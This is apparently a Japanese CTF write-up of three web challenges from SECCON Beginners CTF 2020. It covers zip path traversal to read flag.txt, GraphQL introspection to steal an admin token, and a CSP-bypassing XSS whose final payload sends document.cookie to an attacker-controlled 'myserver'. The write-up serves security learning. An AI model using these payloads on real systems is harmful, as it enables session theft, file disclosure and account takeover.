SECCON beginners CTF 2020 web問 writeup
5月23日から24日に行われたSECCON beginners CTFにチームKUDoSで参加しました。
welcome問を除いて1問以上通した691チーム中3位でした。チームメンバーに感謝!
webのunzip、profiler、Somenを解きました。去年はwebが足を引っ張ってしまったと思い反省してましたが今年は全完できました。嬉しいです。
unzip(120solvesくらい)
Unzip Your .zip Archive Like a Pro.
https://unzip.quals.beginners.seccon.jp/
Hint:
index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)
Hint
(updated at 5/23 17:30) docker-compose.yml
index.php
とdocker-compose.yml
が渡されました。
zipファイルをアップロードするとサーバ上で展開してくれるサービスみたいです。
<?php error_reporting(0); session_start(); // prepare the session $user_dir = "/uploads/" . session_id(); if (!file_exists($user_dir)) mkdir($user_dir); if (!isset($_SESSION["files"])) $_SESSION["files"] = array(); // return file if filename parameter is passed if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) { if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) { $filepath = $user_dir . "/" . $_GET["filename"]; header("Content-Type: text/plain"); echo file_get_contents($filepath); die(); } else { echo "no such file"; die(); } } // process uploaded files $target_file = $target_dir . basename($_FILES["file"]["name"]); if (isset($_FILES["file"])) { // size check of uploaded file if ($_FILES["file"]["size"] > 1000) { echo "the size of uploaded file exceeds 1000 bytes."; die(); } // try to open uploaded file as zip $zip = new ZipArchive; if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { echo "failed to open your zip."; die(); } // check the size of unzipped files $extracted_zip_size = 0; for ($i = 0; $i < $zip->numFiles; $i++) $extracted_zip_size += $zip->statIndex($i)["size"]; if ($extracted_zip_size > 1000) { echo "the total size of extracted files exceeds 1000 bytes."; die(); } // extract $zip->extractTo($user_dir); // add files to $_SESSION["files"] for ($i = 0; $i < $zip->numFiles; $i++) { $s = $zip->statIndex($i); if (!in_array($s["name"], $_SESSION["files"], TRUE)) { $_SESSION["files"][] = $s["name"]; } } $zip->close(); } ?> <!DOCTYPE html> <html> <head> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title></title> </head> <body> <nav role="navigation"> <div class="nav-wrapper container"> <a id="logo-container" href="/" class="brand-logo">Unzip</a> </div> </nav> <div class="container"> <br><br> <h1 class="header center teal-text text-lighten-2">Unzip</h1> <div class="row center"> <h5 class="header col s12 light"> Unzip Your .zip Archive Like a Pro </h5> </div> </div> </div> <div class="container"> <div class="section"> <h2>Upload</h2> <form method="post" enctype="multipart/form-data"> <div class="file-field input-field"> <div class="btn"> <span>Select .zip to Upload</span> <input type="file" name="file"> </div> <div class="file-path-wrapper"> <input class="file-path validate" type="text"> </div> </div> <button class="btn waves-effect waves-light"> Submit <i class="material-icons right">send</i> </button> </form> </div> </div> <div class="container"> <div class="section"> <h2>Files from Your Archive(s)</h2> <div class="collection"> <?php foreach ($_SESSION["files"] as $filename) { ?> <a href="/?filename=<?= urlencode($filename) ?>" class="collection-item"><?= htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?></a> <? } ?> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script> </body> </html>
version: "3" services: nginx: build: ./docker/nginx ports: - "127.0.0.1:$APP_PORT:80" depends_on: - php-fpm volumes: - ./storage/logs/nginx:/var/log/nginx - ./public:/var/www/web environment: TZ: "Asia/Tokyo" restart: always php-fpm: build: ./docker/php-fpm env_file: .env working_dir: /var/www/web environment: TZ: "Asia/Tokyo" volumes: - ./public:/var/www/web - ./uploads:/uploads - ./flag.txt:/flag.txt restart: always
アップロードしたzipファイルは/uploads/<sess_id>/
以下に展開されるようです。
また、$_SESSION["files"]
に展開されたファイル名の一覧が保存されており、/uploads/<sess_id>/<file_name>
にリクエストを送るとそのファイルにアクセスできます。
<file_name>
でディレクトリトラバーサルができそうなので、展開すると../../../../flag.txt
が生成されるようなzipファイルを作ってみます。
$ zip test.zip ../../../../flag.txt
test.zip
をアップロードし、?filename=../../../../flag.txt
にアクセスするとフラグが得られました。
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
profiler(60solvesくらい)
Let's edit your profile with profiler!
Hint: You don't need to deobfuscate *.js
Notice: Server is periodically initialized.
アカウント登録するとtokenが表示されます。
ログイン後の画面では、
・プロフィールの変更
・Get FLAG
が表示されました。
プロフィールの変更にはアカウント登録時に表示されたtokenを入力する必要があります。
Get FLAGをクリックすると/flag
にリクエストが送られますが、お前はadminじゃないと言われます。
/flag
にアクセスした際のリクエスト/レスポンスにこのような値がありました。
{"query":"query {\n flag\n }"}
{"data":{"flag":"Sorry, your token is not administrator's one. This page is only for administrator(uid: admin)."}}
graphqlを使用してるみたいです。
introspectionが有効か試してみます。
{"query":"query {__schema{types{name}}}"}
{ "data": { "__schema": { "types": [ { "name": "Query" }, { "name": "User" }, { "name": "ID" }, { "name": "String" }, { "name": "Mutation" }, { "name": "Boolean" }, { "name": "__Schema" }, { "name": "__Type" }, { "name": "__TypeKind" }, { "name": "__Field" }, { "name": "__InputValue" }, { "name": "__EnumValue" }, { "name": "__Directive" }, { "name": "__DirectiveLocation" } ] } } }
上手くいきました。
get-graphql-schemaを使ってスキーマ情報を抜き出してみます。
$ get-graphql-schema https://profiler.quals.beginners.seccon.jp/api type Mutation { updateProfile(profile: String!, token: String!): Boolean! updateToken(token: String!): Boolean! } type Query { me: User! someone(uid: ID!): User flag: String! } type User { uid: ID! name: String! profile: String! token: String! }
someone
を利用してみます。
{"query":"query {\n someone(uid:\"admin\") {\n uid\n name\n profile\n token\n}\n }"}
{ "data": { "someone": { "name": "admin", "profile": "Hello, I'm admin.", "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b", "uid": "admin" } } }
adminのtokenが得られました。
updateToken
で自分のトークンをadminのトークンに更新してみるとどうなるか試してみます。
{"query":"mutation {\n updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")\n }"}
{"data":{"updateToken":true}}
成功しました!
その後/flag
にアクセスするとフラグが得られました。
ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}
Somen(20solvesくらい)
Somen is tasty.
https://somen.quals.beginners.seccon.jp
Hint:
worker.js (sha1: 47c8e9c879e2a2fb2e5435f2d0fcfaa274671f43)
index.php (sha1: dffac56c2435b529e1bb60c6f71803aded2051af)
ヒントとしてindex.php
、worker.js
が与えられました。
<?php $nonce = base64_encode(random_bytes(20)); header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='"); ?> <head> <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title> <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script> <script nonce="<?= $nonce ?>"> const choice = l => l[Math.floor(Math.random() * l.length)]; window.onload = () => { const username = new URL(location).searchParams.get("username"); const adjective = choice(["Nagashi", "Hiyashi"]); if (username !== null) document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`; } </script> </head> <body> <h1>Best somen for You</h1> <p>Please input your name. You can use only alphabets and digits.</p> <p>This page works fine with latest Google Chrome / Chromium. We won't support other browsers :P</p> <p id="message"></p> <form action="/" method="GET"> <input type="text" name="username" place="Your name"></input> <button type="submit">Ask</button> </form> <hr> <p> If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.</p> <form action="/inquiry" method="POST"> <input type="text" name="username" place="Your name"></input> <button type="submit">Ask</button> </form> </body>
const puppeteer = require('puppeteer'); /* ... ... */ // initialize const browser = await puppeteer.launch({ executablePath: 'google-chrome-unstable', headless: true, args: [ '--no-sandbox', '--disable-background-networking', '--disk-cache-dir=/dev/null', '--disable-default-apps', '--disable-extensions', '--disable-gpu', '--disable-sync', '--disable-translate', '--hide-scrollbars', '--metrics-recording-only', '--mute-audio', '--no-first-run', '--safebrowsing-disable-auto-update', ], }); const page = await browser.newPage(); // set cookie await page.setCookie({ name: 'flag', value: process.env.FLAG, domain: process.env.DOMAIN, expires: Date.now() / 1000 + 10, }); // access // username is the input value of players const url = `https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}`; try { await page.goto(url, { waitUntil: 'networkidle0', timeout: 5000, }); } catch (err) { console.log(err); } // finalize await page.close(); await browser.close(); /* ... ... */
/?username=<username>
にリクエストを送ると、レスポンスの一部に<username>
が出力されていることが分かります。
また、/inquiry
にPOSTリクエストを送ると、/?username=<POSTリクエストのusername>
にヘッドレスブラウザがアクセスするようです。(例えば、/inquiry
にusername=hoge
を送信すると、ヘッドレスブラウザは/?username=hoge
にアクセスする)
フラグはCookieの値であることからXSSを目指します。
/?username=<username>
のレスポンスでは<username>
がエスケープされずに出力されていますが、以下の/security.js
が読み込まれており、それによって[a-zA-Z0-9]
以外の文字が含まれていると/error.php
にリダイレクトされます。
console.log('!! security.js !!'); const username = new URL(location).searchParams.get("username"); if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) { document.location = "/error.php"; }
更にCSPも存在します。
Content-Security-Policy: default-src 'none'; script-src 'nonce-b1H5swDm+3wfZvfs5eWHwyPUlmU=' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='
XSSに至るには
・ security.js
の無効化
・ CSPのbypass
をする必要があります。
・ security.js
の無効化
security.js
は相対パスで読み込まれていること、security.js
を読み込む前にtitle
内でユーザ入力がエスケープされずに出力されていること、を利用します。
username=</title><base href="https://example.com">
を入力すると、ブラウザにhttps://somen.quals.beginners.seccon.jp/security.js
ではなくhttps://example.com/security.js
を読み込ませることができます。
・ CSPのbypass
めでたくsecurity.js
を無効化できたので、次はCSPをbypassします。
CSPではscript-src
にstrict-dynamic
が設定されていることが分かります。
strict-dynamic
を用いてる場合、「正しいnonce
を持ったscript
タグ内のスクリプトが生成したスクリプト」はnonceを所有していなくても実行されます。
今回のケースでは「正しいnonce
を持ったscript
タグ内のスクリプト」は以下の部分になります。
const choice = l => l[Math.floor(Math.random() * l.length)]; window.onload = () => { const username = new URL(location).searchParams.get("username"); const adjective = choice(["Nagashi", "Hiyashi"]); if (username !== null) document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`; }
innerHTML
でid=message
の要素へユーザ入力を出力していることが分かります。
<script id="message">
のタグ内が正しい構文になるように頑張ると、
/?username=//</title><base%20href="https://test">%0aalert(1)//<script%20id="message"></script><!-
でalert(1)
が実行できました。
あとはcookieを送信するようにしたペイロードを/inquiry
に送信するだけです。
username=//</title><base%20href="https://test">%0alocation.href="http://myserver?"%2bdocument.cookie//<script%20id="message"></script><!-
ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}
去年に比べてCTFやってる人がめちゃくちゃ増えた気がしてて嬉しい 2000人くらいいたんじゃないでしょうか
beginnerという名前の割に本当の意味での初心者向けではないと思ってるので、初心者の方で全然できなかったという人は気にすることないと思います。
自分もCTFを始めたときにbeginnerの問題見て挫折しかけました